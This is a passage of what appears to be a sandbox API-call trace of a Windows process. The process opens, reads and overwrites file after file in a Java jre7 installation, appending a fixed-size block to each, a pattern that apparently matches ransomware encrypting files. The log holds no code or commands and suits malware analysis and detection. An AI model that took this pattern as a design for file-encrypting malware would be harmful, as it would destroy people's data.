CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="splash.gif", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0048.637] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="splash.gif", cchWideChar=10, lpMultiByteStr=0x1e6306c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="splash.gif", lpUsedDefaultChar=0x0) returned 10 [0048.637] ReadFile (in: hFile=0x1a8, lpBuffer=0x280edb8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x280edb8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0048.639] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x2687 [0048.639] ReadFile (in: hFile=0x1a8, lpBuffer=0x280edb8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x280edb8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0048.640] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x2687 [0048.641] WriteFile (in: hFile=0x1a8, lpBuffer=0x261b808*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x261b808*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0048.641] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0048.641] WriteFile (in: hFile=0x1a8, lpBuffer=0x280edb8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x280edb8*, lpNumberOfBytesWritten=0x340f28c*=0x1000, lpOverlapped=0x0) returned 1 [0048.641] CloseHandle (hObject=0x1a8) returned 1 [0048.641] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\sunpkcs11.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\ext\\sunpkcs11.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0048.642] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0048.642] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x39fd6 [0048.642] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0048.642] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.642] ReleaseMutex (hMutex=0x128) returned 1 [0048.642] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sunpkcs11.jar", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0048.642] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sunpkcs11.jar", cchWideChar=13, lpMultiByteStr=0x1e6340c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sunpkcs11.jar", lpUsedDefaultChar=0x0) returned 13 [0048.642] ReadFile (in: hFile=0x1a8, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x340f278*=0x8000, lpOverlapped=0x0) returned 1 [0048.644] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x38fd6 [0048.645] ReadFile (in: hFile=0x1a8, lpBuffer=0x280edb8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x280edb8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0048.645] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x38fd6 [0048.646] WriteFile (in: hFile=0x1a8, lpBuffer=0x2808d58*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x2808d58*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0048.646] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0048.646] WriteFile (in: hFile=0x1a8, lpBuffer=0x1de8de8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de8de8*, lpNumberOfBytesWritten=0x340f28c*=0x8000, lpOverlapped=0x0) returned 1 [0048.646] CloseHandle (hObject=0x1a8) returned 1 [0048.646] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts\\LucidaSansRegular.ttf" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\fonts\\lucidasansregular.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0048.647] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0048.647] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0xaa77c [0048.647] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0048.647] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.647] ReleaseMutex (hMutex=0x128) returned 1 [0048.647] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="LucidaSansRegular.ttf", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0048.647] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="LucidaSansRegular.ttf", cchWideChar=21, lpMultiByteStr=0x1e78b7c, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="LucidaSansRegular.ttf", lpUsedDefaultChar=0x0) returned 21 [0048.647] ReadFile (in: hFile=0x1a8, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x340f278*=0xf000, lpOverlapped=0x0) returned 1 [0048.858] ReadFile (in: hFile=0x1a8, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0048.859] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0xa977c [0048.859] ReadFile (in: hFile=0x1a8, lpBuffer=0x261d6d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x261d6d8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0048.862] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0xa977c [0048.862] WriteFile (in: hFile=0x1a8, lpBuffer=0x276b958*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x276b958*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0048.862] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0048.862] WriteFile (in: hFile=0x1a8, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x340f28c*=0xf000, lpOverlapped=0x0) returned 1 [0048.863] WriteFile (in: hFile=0x1a8, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x340f28c*=0x1000, lpOverlapped=0x0) returned 1 [0048.863] CloseHandle (hObject=0x1a8) returned 1 [0048.863] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\win32_MoveDrop32x32.gif" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\images\\cursors\\win32_movedrop32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0048.863] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0048.863] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x93 [0048.863] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0048.864] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.864] ReleaseMutex (hMutex=0x128) returned 1 [0048.864] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="win32_MoveDrop32x32.gif", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0048.864] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="win32_MoveDrop32x32.gif", cchWideChar=23, lpMultiByteStr=0x1e78b7c, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="win32_MoveDrop32x32.gif", lpUsedDefaultChar=0x0) returned 23 [0048.864] ReadFile (in: hFile=0x1a8, lpBuffer=0x1e5d0d8, nNumberOfBytesToRead=0x93, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e5d0d8*, lpNumberOfBytesRead=0x340f2bc*=0x93, lpOverlapped=0x0) returned 1 [0048.864] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0048.864] WriteFile (in: hFile=0x1a8, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x61b, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x340f2d0*=0x61b, lpOverlapped=0x0) returned 1 [0048.865] CloseHandle (hObject=0x1a8) returned 1 [0048.865] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\jvm.hprof.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\jvm.hprof.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0048.865] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0048.865] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x1082 [0048.865] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0048.865] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.865] ReleaseMutex (hMutex=0x128) returned 1 [0048.866] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jvm.hprof.txt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0048.866] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jvm.hprof.txt", cchWideChar=13, lpMultiByteStr=0x1e630cc, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="jvm.hprof.txt", lpUsedDefaultChar=0x0) returned 13 [0048.866] ReadFile (in: hFile=0x1a8, lpBuffer=0x261d6d8, nNumberOfBytesToRead=0x1082, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x261d6d8*, lpNumberOfBytesRead=0x340f2bc*=0x1082, lpOverlapped=0x0) returned 1 [0048.885] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0048.885] WriteFile (in: hFile=0x1a8, lpBuffer=0x276b958*, nNumberOfBytesToWrite=0x160a, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x276b958*, lpNumberOfBytesWritten=0x340f2d0*=0x160a, lpOverlapped=0x0) returned 1 [0048.885] CloseHandle (hObject=0x1a8) returned 1 [0048.885] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\psfont.properties.ja" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\psfont.properties.ja"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0048.886] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0048.886] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0xaec [0048.886] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0048.886] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.886] ReleaseMutex (hMutex=0x128) returned 1 [0048.886] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="psfont.properties.ja", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0048.886] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="psfont.properties.ja", cchWideChar=20, lpMultiByteStr=0x1e78b7c, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="psfont.properties.ja", lpUsedDefaultChar=0x0) returned 20 [0048.886] ReadFile (in: hFile=0x1a8, lpBuffer=0x261d6d8, nNumberOfBytesToRead=0xaec, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x261d6d8*, lpNumberOfBytesRead=0x340f2bc*=0xaec, lpOverlapped=0x0) returned 1 [0048.888] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0048.888] WriteFile (in: hFile=0x1a8, lpBuffer=0x261d6d8*, nNumberOfBytesToWrite=0x1074, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261d6d8*, lpNumberOfBytesWritten=0x340f2d0*=0x1074, lpOverlapped=0x0) returned 1 [0048.888] CloseHandle (hObject=0x1a8) returned 1 [0048.888] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\local_policy.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\security\\local_policy.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0048.888] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0048.888] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0xb9b [0048.888] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0048.889] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.889] ReleaseMutex (hMutex=0x128) returned 1 [0048.889] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="local_policy.jar", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0048.889] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="local_policy.jar", cchWideChar=16, lpMultiByteStr=0x1e78b7c, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="local_policy.jar", lpUsedDefaultChar=0x0) returned 16 [0048.889] ReadFile (in: hFile=0x1a8, lpBuffer=0x261d6d8, nNumberOfBytesToRead=0xb9b, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x261d6d8*, lpNumberOfBytesRead=0x340f2bc*=0xb9b, lpOverlapped=0x0) returned 1 [0048.892] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0048.892] WriteFile (in: hFile=0x1a8, lpBuffer=0x261d6d8*, nNumberOfBytesToWrite=0x1123, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261d6d8*, lpNumberOfBytesWritten=0x340f2d0*=0x1123, lpOverlapped=0x0) returned 1 [0048.892] CloseHandle (hObject=0x1a8) returned 1 [0048.893] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Bangui" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\bangui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0048.893] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0048.893] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x41 [0048.893] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0048.893] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.893] ReleaseMutex (hMutex=0x128) returned 1 [0048.893] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Bangui", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0048.893] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Bangui", cchWideChar=6, lpMultiByteStr=0x1e6a81c, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Bangui", lpUsedDefaultChar=0x0) returned 6 [0048.893] ReadFile (in: hFile=0x1a8, lpBuffer=0x1eaad18, nNumberOfBytesToRead=0x41, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1eaad18*, lpNumberOfBytesRead=0x340f2bc*=0x41, lpOverlapped=0x0) returned 1 [0048.894] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0048.894] WriteFile (in: hFile=0x1a8, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x5c9, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x340f2d0*=0x5c9, lpOverlapped=0x0) returned 1 [0048.894] CloseHandle (hObject=0x1a8) returned 1 [0048.894] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Dakar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\dakar"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0048.895] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0048.895] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x4d [0048.895] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0048.895] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.895] ReleaseMutex (hMutex=0x128) returned 1 [0048.895] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dakar", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0048.895] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dakar", cchWideChar=5, lpMultiByteStr=0x1e6a81c, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dakar", lpUsedDefaultChar=0x0) returned 5 [0048.895] ReadFile (in: hFile=0x1a8, lpBuffer=0x1e8f2e8, nNumberOfBytesToRead=0x4d, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e8f2e8*, lpNumberOfBytesRead=0x340f2bc*=0x4d, lpOverlapped=0x0) returned 1 [0048.896] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0048.896] WriteFile (in: hFile=0x1a8, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x5d5, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x340f2d0*=0x5d5, lpOverlapped=0x0) returned 1 [0048.896] CloseHandle (hObject=0x1a8) returned 1 [0048.896] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Kampala" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\kampala"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0048.899] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0048.899] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x61 [0048.899] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0048.899] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.899] ReleaseMutex (hMutex=0x128) returned 1 [0048.899] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Kampala", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0048.899] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Kampala", cchWideChar=7, lpMultiByteStr=0x1e6a81c, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Kampala", lpUsedDefaultChar=0x0) returned 7 [0048.899] ReadFile (in: hFile=0x1a8, lpBuffer=0x1df5558, nNumberOfBytesToRead=0x61, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1df5558*, lpNumberOfBytesRead=0x340f2bc*=0x61, lpOverlapped=0x0) returned 1 [0048.900] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0048.900] WriteFile (in: hFile=0x1a8, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x5e9, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x340f2d0*=0x5e9, 